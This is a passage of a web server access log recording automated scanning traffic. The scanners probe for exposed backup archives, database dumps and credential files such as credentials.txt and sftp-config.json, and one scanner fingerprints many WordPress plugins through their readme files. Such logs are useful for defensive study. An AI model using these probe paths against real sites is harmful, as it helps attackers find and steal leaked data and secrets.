"-" "-" 45.67.99.14 - - [02/Apr/2025:12:20:25 -0400] "GET /bak/backup.tar HTTP/1.1" 301 795 "-" "-" 45.67.99.14 - - [02/Apr/2025:12:20:28 -0400] "GET /restore/website.tar.gz HTTP/1.1" 301 795 "-" "-" 45.67.99.31 - - [02/Apr/2025:12:20:31 -0400] "GET /backups/backup.sql.tar HTTP/1.1" 301 795 "-" "-" 45.67.99.15 - - [02/Apr/2025:12:20:34 -0400] "GET /old/backup.gz HTTP/1.1" 301 795 "-" "-" 45.67.99.14 - - [02/Apr/2025:12:20:36 -0400] "GET /bak/directory.rar HTTP/1.1" 301 795 "-" "-" 45.67.99.15 - - [02/Apr/2025:12:20:38 -0400] "GET /old/www.rar HTTP/1.1" 301 795 "-" "-" 45.67.99.31 - - [02/Apr/2025:12:20:41 -0400] "HEAD /backups/credentials.txt HTTP/1.1" 301 0 "-" "-" 45.67.99.30 - - [02/Apr/2025:12:20:43 -0400] "GET /bak/public_html.tar.gz HTTP/1.1" 301 795 "-" "-" 45.130.81.81 - - [02/Apr/2025:12:25:32 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 45.130.81.109 - - [02/Apr/2025:12:25:34 -0400] "GET /old/full_backup.zip HTTP/1.1" 301 795 "-" "-" 45.130.81.105 - - [02/Apr/2025:12:25:36 -0400] "GET /backup/www.tar HTTP/1.1" 301 795 "-" "-" 45.130.81.100 - - [02/Apr/2025:12:25:40 -0400] "HEAD /old/backup.sql HTTP/1.1" 301 0 "-" "-" 45.130.81.84 - - [02/Apr/2025:12:25:42 -0400] "GET /backups/Archive.zip HTTP/1.1" 301 795 "-" "-" 45.130.81.111 - - [02/Apr/2025:12:25:45 -0400] "GET /back/directory.gz HTTP/1.1" 301 0 "-" "-" 45.130.81.113 - - [02/Apr/2025:12:25:46 -0400] "GET /restore/bak.zip HTTP/1.1" 301 795 "-" "-" 45.130.81.93 - - [02/Apr/2025:12:25:49 -0400] "GET /website.gz HTTP/1.1" 301 795 "-" "-" 45.130.81.97 - - [02/Apr/2025:12:25:51 -0400] "GET /backup/directory.gz HTTP/1.1" 301 795 "-" "-" 45.130.81.59 - - [02/Apr/2025:12:25:54 -0400] "GET /old/Archive.zip HTTP/1.1" 301 795 "-" "-" 45.130.81.59 - - [02/Apr/2025:12:25:55 -0400] "GET /old/www.zip HTTP/1.1" 301 795 "-" "-" 45.130.81.59 - - [02/Apr/2025:12:25:58 -0400] "GET /backup/public_html.tar.gz HTTP/1.1" 301 795 "-" "-" 45.130.81.84 - - [02/Apr/2025:12:25:59 -0400] "GET /back/website.tar.gz HTTP/1.1" 301 795 "-" "-" 206.189.154.181 - - [02/Apr/2025:12:33:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.226.71 - - [02/Apr/2025:13:12:50 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 93.123.109.30 - - [02/Apr/2025:13:49:00 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9" 101.91.148.219 - - [02/Apr/2025:13:54:58 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.195.19.205 - - [02/Apr/2025:14:29:26 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 185.195.19.205 - - [02/Apr/2025:14:29:30 -0400] "GET /website.rar HTTP/1.1" 301 795 "-" "-" 185.195.19.201 - - [02/Apr/2025:14:29:33 -0400] "GET /backups/latest.zip HTTP/1.1" 301 795 "-" "-" 185.195.19.201 - - [02/Apr/2025:14:29:33 -0400] "GET /backups/website.gz HTTP/1.1" 301 795 "-" "-" 185.195.19.203 - - [02/Apr/2025:14:29:36 -0400] "HEAD /backup/sql.sql HTTP/1.1" 301 0 "-" "-" 185.195.19.203 - - [02/Apr/2025:14:29:38 -0400] "GET /restore/backup.sql.gz HTTP/1.1" 301 795 "-" "-" 185.195.19.201 - - [02/Apr/2025:14:29:41 -0400] "GET /old/directory.zip HTTP/1.1" 301 795 "-" "-" 185.195.19.203 - - [02/Apr/2025:14:29:44 -0400] "GET /old/latest.zip HTTP/1.1" 301 795 "-" "-" 185.195.19.203 - - [02/Apr/2025:14:29:47 -0400] "GET /bak/public_html.zip HTTP/1.1" 301 795 "-" "-" 185.195.19.203 - - [02/Apr/2025:14:29:49 -0400] "GET /config.js HTTP/1.1" 301 795 "-" "-" 185.195.19.201 - - [02/Apr/2025:14:29:51 -0400] "HEAD /restore/credentials.txt HTTP/1.1" 301 0 "-" "-" 185.195.19.205 - - [02/Apr/2025:14:29:53 -0400] "GET /old/public_html.tar HTTP/1.1" 301 795 "-" "-" 185.195.19.201 - - [02/Apr/2025:14:29:55 -0400] "GET /backup/Archive.zip HTTP/1.1" 301 795 "-" "-" 185.221.132.220 - - [02/Apr/2025:14:49:46 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 185.221.132.219 - - [02/Apr/2025:14:49:49 -0400] "GET /backup.sql.tar HTTP/1.1" 301 795 "-" "-" 185.221.132.220 - - [02/Apr/2025:14:49:50 -0400] "GET /backup/public_html.gz HTTP/1.1" 301 795 "-" "-" 185.221.132.222 - - [02/Apr/2025:14:49:53 -0400] "HEAD /wallets/log.txt HTTP/1.1" 301 0 "-" "-" 185.221.132.219 - - [02/Apr/2025:14:49:55 -0400] "GET /www.gz HTTP/1.1" 301 795 "-" "-" 185.221.132.222 - - [02/Apr/2025:14:49:57 -0400] "GET /restore/directory.zip HTTP/1.1" 301 795 "-" "-" 185.221.132.220 - - [02/Apr/2025:14:50:01 -0400] "HEAD /back/dump.sql HTTP/1.1" 301 0 "-" "-" 185.221.132.222 - - [02/Apr/2025:14:50:04 -0400] "HEAD /bak/config.json HTTP/1.1" 301 0 "-" "-" 185.221.132.220 - - [02/Apr/2025:14:50:06 -0400] "GET /backup/directory.tar HTTP/1.1" 301 795 "-" "-" 185.221.132.220 - - [02/Apr/2025:14:50:09 -0400] "GET /back/bak.tar.gz HTTP/1.1" 301 0 "-" "-" 185.221.132.219 - - [02/Apr/2025:14:50:10 -0400] "HEAD /backups/sftp-config.json HTTP/1.1" 301 0 "-" "-" 185.221.132.219 - - [02/Apr/2025:14:50:12 -0400] "HEAD /restore/mysql.sql HTTP/1.1" 301 0 "-" "-" 185.221.132.221 - - [02/Apr/2025:14:50:13 -0400] "GET /old/directory.tar HTTP/1.1" 301 795 "-" "-" 185.221.132.221 - - [02/Apr/2025:14:50:16 -0400] "GET /bak/www.zip HTTP/1.1" 301 795 "-" "-" 185.221.132.220 - - [02/Apr/2025:14:50:18 -0400] "HEAD /back/credentials.txt HTTP/1.1" 301 0 "-" "-" 8.210.187.5 - - [02/Apr/2025:15:01:09 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.2374.26 Safari/537.36" 185.226.197.67 - - [02/Apr/2025:15:01:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.67 - - [02/Apr/2025:15:01:28 -0400] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" 185.226.197.70 - - [02/Apr/2025:15:01:30 -0400] "GET /license.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.69 - - [02/Apr/2025:15:01:57 -0400] "GET /wp-content/plugins/wp-time-capsule/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.68 - - [02/Apr/2025:15:02:23 -0400] "GET /wp-content/plugins/elementor/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.69 - - [02/Apr/2025:15:02:49 -0400] "GET /wp-content/plugins/iwp-client/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.69 - - [02/Apr/2025:15:03:22 -0400] "GET /wp-content/plugins/code-snippets/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.70 - - [02/Apr/2025:15:03:50 -0400] "GET /wp-content/plugins/fancy-product-designer/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.69 - - [02/Apr/2025:15:04:20 -0400] "GET /wp-content/plugins/wp-central/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.68 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/wordfence/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.70 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/all-in-one-wp-migration/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.69 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/wordpress-seo/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.70 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/contact-form-7/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.68 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/duplicate-post/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.68 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/really-simple-ssl/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.67 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/google-site-kit/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.68 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/insert-headers-and-footers/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.70 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/disable-comments/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.68 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/litespeed-cache/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.67 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/woocommerce/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.69 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.68 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/essential-addons-for-elementor-lite/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.68 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/astra-sites/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.68 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/advanced-custom-fields/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.70 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/complianz-gdpr/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.67 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/seo-by-rank-math/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.67 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/coming-soon/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.69 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/akismet/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.67 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/updraftplus/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.70 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/wpforms-lite/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.70 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/wps-hide-login/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.67 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/hostinger/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.68 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/smart-slider-3/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.68 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/jetpack/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.70 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/limit-login-attempts-reloaded/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.68 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/redirection/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.67 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/w3-total-cache/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.69 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/header-footer-elementor/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.70 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/mailchimp-for-wp/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.69 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/loginizer/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.69 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/wp-super-cache/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.70 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.68 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/all-in-one-wp-security-and-firewall/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.69 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/duplicator/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.68 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/envato-elements/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.69 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/autoptimize/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.68 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/wp-optimize/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.68 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/wp-fastest-cache/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.70 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/sg-security/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.70 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/redux-framework/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.70 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/duplicate-page/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.70 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/better-search-replace/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.70 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/svg-support/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.67 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/google-analytics-for-wordpress/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.70 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/better-wp-security/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.69 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/ewww-image-optimizer/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.69 - - [02/Apr/2025:15:04:42 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.68 - - [02/Apr/2025:15:05:08 -0400] "GET /wp-content/plugins/bbpress/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.67 - - [02/Apr/2025:15:05:33 -0400] "GET /wp-content/plugins/optinmonster/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.69 - - [02/Apr/2025:15:06:10 -0400] "GET /wp-content/plugins/wordpress-database-reset/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.67 - - [02/Apr/2025:15:06:40 -0400] "GET /wp-content/plugins/wp-video-lightbox/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.91.20.113 - - [02/Apr/2025:15:06:53 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 45.91.20.113 - - [02/Apr/2025:15:06:56 -0400] "GET /backups/directory.rar HTTP/1.1" 301 795 "-" "-" 45.91.20.112 - - [02/Apr/2025:15:06:59 -0400] "GET /public_html.zip HTTP/1.1" 301 795 "-" "-" 45.91.20.112 - - [02/Apr/2025:15:07:01 -0400] "GET /back/www.tar HTTP/1.1" 301 795 "-" "-" 45.91.20.113 - - [02/Apr/2025:15:07:03 -0400] "GET /bak.rar HTTP/1.1" 301 795 "-" "-" 185.226.197.68 - - [02/Apr/2025:15:07:03 -0400] "GET /wp-content/plugins/wpschoolpress/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.91.20.111 - - [02/Apr/2025:15:07:05 -0400] "GET /restore/public_html.tar HTTP/1.1" 301 795 "-" "-" 45.91.20.111 - - [02/Apr/2025:15:07:06 -0400] "GET /back/website.zip HTTP/1.1" 301 795 "-" "-" 45.91.20.113 - - [02/Apr/2025:15:07:09 -0400] "GET /backup/website.rar HTTP/1.1" 301 795 "-" "-" 45.91.20.113 - - [02/Apr/2025:15:07:11 -0400] "GET /restore/public_html.gz HTTP/1.1" 301 795 "-" "-" 45.91.20.113 - - [02/Apr/2025:15:07:13 -0400] "GET /back/directory.zip HTTP/1.1" 301 795 "-" "-" 45.91.20.110 - - [02/Apr/2025:15:07:16 -0400] "GET /restore/backup.rar HTTP/1.1" 301 795 "-" "-" 45.91.20.113 - - [02/Apr/2025:15:07:18 -0400] "GET /backup/latest.zip HTTP/1.1" 301 795 "-" "-" 45.91.20.111 - - [02/Apr/2025:15:07:20 -0400] "HEAD /back/config.json HTTP/1.1" 301 0 "-" "-" 185.226.197.67 - - [02/Apr/2025:15:07:23 -0400] "GET /wp-content/plugins/wp-user-avatar/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.68 - - [02/Apr/2025:15:07:47 -0400] "GET /wp-content/plugins/kingcomposer/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.70 - - [02/Apr/2025:15:08:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.226.197.67 - - [02/Apr/2025:15:08:16 -0400] "GET /aspera/faspex/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 85.203.15.175 - - [02/Apr/2025:15:08:49 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 81.199.26.59 - - [02/Apr/2025:15:08:50 -0400] "GET /backups/directory.tar HTTP/1.1" 301 795 "-" "-" 85.203.15.175 - - [02/Apr/2025:15:08:53 -0400] "GET /bak.gz HTTP/1.1" 301 795 "-" "-" 85.203.15.224 - - [02/Apr/2025:15:08:54 -0400] "GET /www.tar.gz HTTP/1.1" 301 795 "-" "-" 85.203.15.154 - - [02/Apr/2025:15:08:57 -0400] "GET /backup/www.rar HTTP/1.1" 301 795 "-" "-" 81.199.26.66 - - [02/Apr/2025:15:08:58 -0400] "GET /restore/web.zip HTTP/1.1" 301 795 "-" "-" 85.203.15.153 - - [02/Apr/2025:15:09:00 -0400] "GET /directory.gz HTTP/1.1" 301 795 "-" "-" 81.199.26.64 - - [02/Apr/2025:15:09:03 -0400] "GET /restore/website.zip HTTP/1.1" 301 795 "-" "-" 81.199.26.68 - - [02/Apr/2025:15:09:06 -0400] "GET /backups/archive.zip HTTP/1.1" 301 795 "-" "-" 81.199.26.70 - - [02/Apr/2025:15:09:15 -0400] "GET /old/website.rar HTTP/1.1" 301 795 "-" "-" 85.203.15.222 - - [02/Apr/2025:15:09:16 -0400] "GET /bak.tar.gz HTTP/1.1" 301 795 "-" "-" 81.199.26.60 - - [02/Apr/2025:15:09:19 -0400] "GET /back/website.tar HTTP/1.1" 301 795 "-" "-" 157.230.1.83 - - [02/Apr/2025:15:26:11 -0400] "GET /wp-admin/css/ 